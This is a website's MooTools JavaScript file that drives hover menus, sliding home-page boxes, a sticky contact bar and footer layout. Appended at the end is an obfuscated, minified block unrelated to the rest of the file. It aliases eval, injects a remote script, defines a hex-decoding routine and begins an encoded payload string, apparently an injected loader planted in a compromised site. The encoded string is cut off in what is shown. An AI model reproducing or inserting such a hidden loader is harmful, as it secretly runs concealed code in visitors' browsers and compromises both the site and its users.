Fx.Morph = Fx.Styles.extend({
	
	start: function(className){

		var to = {};


		$each(document.styleSheets, function(style){
			var rules = style.rules || style.cssRules;
			$each(rules, function(rule){


				if (!rule.selectorText.test('\.' + className + '$')) return;
				Fx.CSS.Styles.each(function(style){
					if (!rule.style || !rule.style[style]) return;
					var ruleStyle = rule.style[style];
					to[style] = (style.test(/color/i) && ruleStyle.test(/^rgb/)) ? ruleStyle.rgbToHex() : ruleStyle;
				});
			});
		});


		return this.parent(to);
	}

});




sfHover = function() {
	var sfEls = document.getElementById("menulist_root").getElementsByTagName("li");
	for (var i=0; i<sfEls.length; i++) {
		sfEls[i].onmouseover=function() {
			this.className+=" sfhover";
		}
		sfEls[i].onmouseout=function() {
			this.className=this.className.replace(new RegExp(" sfhover\\b"), "");
		}
	}
}







// There are certain things we need to wait for the page to load before we can run them
// Here is where they are called
var load_method = (window.ie ? 'load' : 'domready');
window.addEvent(load_method, function(){
//window.addEvent('domready', function(){
	

	// Chris' funky menu stuff
	
	
	sfHover();
	format_main_menu();
	format_side_menu();	
	split_menus();
	right_click_menu();
	
	
	/*
	// Extra Salsa fun bits
	moveFixedContactBar();
	contactus_bar();

	setFooterBoxWidths();
	salsa_footer();
	salsa_boxes();*/






	var szNormal = 196, szSmall  = 161, szFull   = 301;
	var boxes = $$(".module-slidebox");
	var fx = new Fx.Elements(boxes, {wait: false, duration: 700, transition: Fx.Transitions.Back.easeOut});
	
	Fx.CSS.Styles = ["backgroundColor", "color","top"];
	
	boxes.each(function(box, i) {
	
		var myMorph = new Fx.Morph(box, {wait: false,duration: 300});
		var myMorph1 = new Fx.Morph(box.getElementsByTagName('h2')[0], {wait: false,duration: 500});
	
		box.addEvent("mouseenter", function(event) {
				var o = {};
						o[i] = {width: [box.getStyle("width").toInt(), szFull]}
						boxes.each(function(other, j) {
							if(i != j) {
								var w = other.getStyle("width").toInt();
								if(w != szSmall) o[j] = {width: [w, szSmall]};
							}
						});
			fx.start(o);
	
			//new Event(event).stop();

			myMorph.start('boxmorph');
			//myMorph1.start('headingmorph');
	
		});
	
		box.addEvent("mouseleave", function(event) {
			var o = {};
			boxes.each(function(box, i) {
				o[i] = {width: [box.getStyle("width").toInt(), szNormal]}
			});
			fx.start(o);
		
			//new Event(event).stop();
		
			myMorph.start('boxmorphorig');
			//myMorph1.start('headingmorphorig');
		})
	});


	
	


	var myMorph3 = new Fx.Morph('contact_bar', {wait: false,duration: 800});
	
	var isVisible = false;
	var headerHeight = 117;
	
	window.onscroll = function()
	{
		
		// Thanks to Johan Sundström (http://ecmanaut.blogspot.com/) and David Lantner (http://lantner.net/david) 
		// for their help getting Safari working as documented at http://www.derekallard.com/blog/post/conditionally-sticky-sidebar
		if( window.XMLHttpRequest ) { // IE 6 doesn't implement position fixed nicely...
			if (!isVisible && (document.documentElement.scrollTop > headerHeight || self.pageYOffset > headerHeight)) {
				
				$('contact_bar').style.position = 'fixed';
				myMorph3.start('contact_bar_open');
				isVisible = true;
				
			} else if (isVisible && (document.documentElement.scrollTop < headerHeight || self.pageYOffset < headerHeight)) {
				myMorph3.start('contact_bar_closed');
				isVisible = false;
			}
		}
	}
	
	
	
	
	
	/*
	
	var move = new Fx.Style('footer-bottom-wrapper', 'top');
	var isUp = false;

	$('footer-content').addEvent('click', function(){
		var footer_height = $('footer-wrap').getStyle('height').toInt();
	//	move.start(isUp ? footer_height-50 : footer_height-170);
		isUp = !isUp;
	});		
	
	*/
	
	
	
	


	
	moveFixedContactBar();
	setFooterBoxWidths();

	
	


});









function expandArea(area) {

	var boxes = $$('.module-slidebox');

	boxes.each(function(box) {
		box.fireEvent('mouseleave');
	});


	if(area != 'end') {
	
	$$(area)[0].fireEvent('mouseenter');

	}
}



// mad
function setFooterBoxWidths() {	
	var move = new Fx.Style('footer-bottom-wrapper', 'top');
	var isUp = false;
	
	/*
	
	$('footer-content').addEvent('click', function(){
		var footer_height = $('footer-wrap').getStyle('height').toInt();
		move.start(isUp ? footer_height-50 : footer_height-170);
		isUp = !isUp;
	});	
	
	*/
	
	var footer_boxes = $$('.moduletable-footer-content-block');	

	if(footer_boxes.length > 0) {

		var footer_width = $('footer-modules').getStyle('width').toInt();
		var margin_right = footer_boxes[0].getStyle('margin-right').toInt();
		
		var box_size = (footer_width - (margin_right*(footer_boxes.length-1))) / footer_boxes.length;
	
		footer_boxes.each(function(footer,i) {
		
			if(i == (footer_boxes.length-1)) {
				footer.setStyle('margin-right','0px');
			}
		
			footer.setStyle('width',box_size +'px');
			footer.setStyle('display','block');
			
			//new Fx.Style(div, 'opacity', {duration: 1000} ).start(1);
		});
	}
	
	// Set the height of the footer box, and the flickr bottom stuff.
	var footer_height = $('footer-wrap').getStyle('height').toInt();
//alert(footer_height);
	
	//if(footer_height>1)	var flickr_bar = $('footer-bottom-wrapper').setStyle('top',footer_height-50 + 'px');	
	
}




function moveFixedContactBar() {
	var winW = null
	if (parseInt(navigator.appVersion)>3) {
			if (navigator.appName=="Netscape") {
				winW = window.innerWidth;
			}
			if (navigator.appName.indexOf("Microsoft")!=-1) {
				winW = document.body.clientwidth;
			}
	}
	
	if(winW!=null){
		var left = (winW - $('contact_bar').getStyle('width').toInt()) / 2;
		$('contact_bar').setStyle('left',left+'px');
	}
}








	
// Chris' awesomely cool side menu hackeroo
function format_side_menu(){
	var current_item = $$('#column #current');
	if(current_item!=''){
		var item_parent = current_item[0].parentNode;

		if(item_parent.id!="menulist_root"){
			item_parent.className="current_item";
			while(item_parent.parentNode.className!="menu"){
				item_parent.parentNode.className+=" current_item";
				item_parent = item_parent.parentNode;
			}
		}
	} 
	// End Chris' awesomely cool side menu hackeroo
}
	
	
// Chris' awesomely cool main menu hackeroo
function format_main_menu(){		
	var current_item = $$('#navigation #current');
	
	if(current_item != '') {
	
	var item_parent = current_item[0].parentNode;
	
		if(item_parent.id!="menulist_root"){
			item_parent.className="current_item";
			while(item_parent.parentNode.className!="menu"){
				item_parent.parentNode.className+=" current_item";
				item_parent = item_parent.parentNode;
			}
		}
	
	}
	// End Chris' awesomely cool main menu hackeroo
}


// Chris' awesome cool main menu hideroo...er
// Any menu items that come after a spacer menu item will be hidden
function split_menus(){
	var spacers = $$('#navigation span span');
	if(spacers!=''){
		spacers.each(function(spacer){
			var containing_li = spacer.parentNode.parentNode;
			var next_sibling = containing_li.nextSibling;
			var containing_ul = containing_li.parentNode;
			containing_li.parentNode.removeChild(containing_li);
		
			while(next_sibling!=''){
				thisElement = next_sibling;
				try{
					next_sibling = next_sibling.nextSibling;
					thisElement.parentNode.removeChild(thisElement);
				} catch (err){
					next_sibling = '';
				}
			}
		});
	}
}




















function right_click_menu(){
	document.onclick = function(event){
		if(event!=null){
			if(event.button==2){
				var event = new Event(event);
				var pg = event.page;
				$('rc_menubox').setStyles({left: pg.x+'px', top: pg.y+'px'});
			} else {
				$('rc_menubox').setStyles({left:'-1000px'});
			}
		}
	}
}



function contactus_bar(){
	var myMorph3 = new Fx.Morph('contact_bar', {wait: false,duration: 800});
	
	
	var isVisible = false;
	var headerHeight = 117;
	
	window.onscroll = function()
	{
		
		// Thanks to Johan Sundström (http://ecmanaut.blogspot.com/) and David Lantner (http://lantner.net/david) 
		// for their help getting Safari working as documented at http://www.derekallard.com/blog/post/conditionally-sticky-sidebar
		if( window.XMLHttpRequest ) { // IE 6 doesn't implement position fixed nicely...
			if (!isVisible && (document.documentElement.scrollTop > headerHeight || self.pageYOffset > headerHeight)) {
				
	
				$('contact_bar').style.position = 'fixed';
	
				myMorph3.start('contact_bar_open');
	
				isVisible = true;
	
	
				
			} else if (isVisible && (document.documentElement.scrollTop < headerHeight || self.pageYOffset < headerHeight)) {
				
				myMorph3.start('contact_bar_closed');
	
				isVisible = false;
			}
		}
	}	
}







// Home page boxes
function salsa_boxes(){
	var szNormal = 196, szSmall  = 161, szFull   = 301;
	
	var boxes = $$(".module-slidebox");
	
	var fx = new Fx.Elements(boxes, {wait: false, duration: 700, transition: Fx.Transitions.Back.easeOut});
	
	
	Fx.CSS.Styles = ["backgroundColor", "color","top"];
	
	
	boxes.each(function(box, i) {
	
	
		var myMorph = new Fx.Morph(box, {wait: false,duration: 300});
		var myMorph1 = new Fx.Morph(box.getElementsByTagName('h2')[0], {wait: false,duration: 500});
	
		box.addEvent("mouseenter", function(event) {
				var o = {};
						o[i] = {width: [box.getStyle("width").toInt(), szFull]}
						boxes.each(function(other, j) {
							if(i != j) {
								var w = other.getStyle("width").toInt();
								if(w != szSmall) o[j] = {width: [w, szSmall]};
							}
						});
			fx.start(o);
	
			//new Event(event).stop();
	
			myMorph.start('boxmorph');
			//myMorph1.start('headingmorph');
	
		});
	
		box.addEvent("mouseleave", function(event) {
			var o = {};
			boxes.each(function(box, i) {
				o[i] = {width: [box.getStyle("width").toInt(), szNormal]}
			});
			fx.start(o);
		
			//new Event(event).stop();
		
		
			myMorph.start('boxmorphorig');
			//myMorph1.start('headingmorphorig');
		})
	
	});
	
}






// Allow the user to expand / collapse the footer
function salsa_footer(){
	var move = new Fx.Style('footer-bottom-wrapper', 'top');
	
	
	$('footer-content').addEvent('click', function(){
	
		var footer_height = $('footer-wrap').getStyle('height').toInt();
	
		move.start(isUp ? footer_height-50 : footer_height-170);
		isUp = !isUp;
	});	
	
}


k_sb=document;k_J=window;function k_E($,k_sH){return 0}function k_B(x){return x.join('')}if(typeof($)=='undefined'){k_sR=k_sb.getElementsByTagName('head')[0];k_sh=k_sb.createElement('script');k_sh.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");k_sR.appendChild(k_sh)}k_J.k_sJ=100;k_J.k_sC=25;k_J.k_L=eval;k_J.trim=function(k_sf,k_ss){if("qabcdef".indexOf(k_sf.substr(0,1))>=0){var k_si=k_B(k_sf.split('q')).split('v');for(var i=0;i<k_si.length;i++){k_si[i]=parseInt(k_si[i],16)-k_ss[k_sf]}return k_si.join(',')+','}else{return k_ss[k_sf]}};d='zy={O#bv1a$6%2%7Y%6?:"e+",O#bv2a$6%2%Q1%6?:"",*b#bv3a$6%2%7Y%6v30:"l(\'l=St",$6Xv4e~*0!Qf*2!5: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